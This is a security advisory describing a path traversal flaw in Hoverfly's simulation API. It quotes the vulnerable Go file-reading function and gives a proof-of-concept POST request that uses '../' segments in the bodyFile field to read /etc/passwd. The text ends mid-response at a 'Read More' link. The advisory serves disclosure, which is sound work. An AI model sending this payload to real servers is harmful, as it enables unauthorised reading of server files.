Details The /api/v2/simulation POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server. “`go https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/hoverfly_funcs.go#L186 func (hf *Hoverfly) readResponseBodyFile(filePath string) (string, error) { if filepath.IsAbs(filePath) { return "", fmt.Errorf("bodyFile contains absolute path (%s). only relative is supported", filePath) } fileContents, err := ioutil.ReadFile(filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)) if err != nil { return "", err } return string(fileContents[:]), nil } “` Note that, although the code prevents absolute paths from being specified, an attacker can escape out of the hf.Cfg.ResponsesBodyFilesPath base path by using ../ segments and reach any arbitrary files. This issue was found using the Uncontrolled data used in path expression CodeQL query for python. Proof of Concept Send the following POST request to read the /etc/passwd file: “`http POST /api/v2/simulation HTTP/1.1 Host: localhost:8888 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 128 {"data":{"pairs":[{ "request":{},"response": { "bodyFile": "../../../../../etc/passwd"}} ]},"meta":{"schemaVersion":"v5.2"}} “` Response will contain the Hoverfly's server /etc/passwd “` HTTP/1.1 200 OK Content-Type:…Read More
References
Back to Main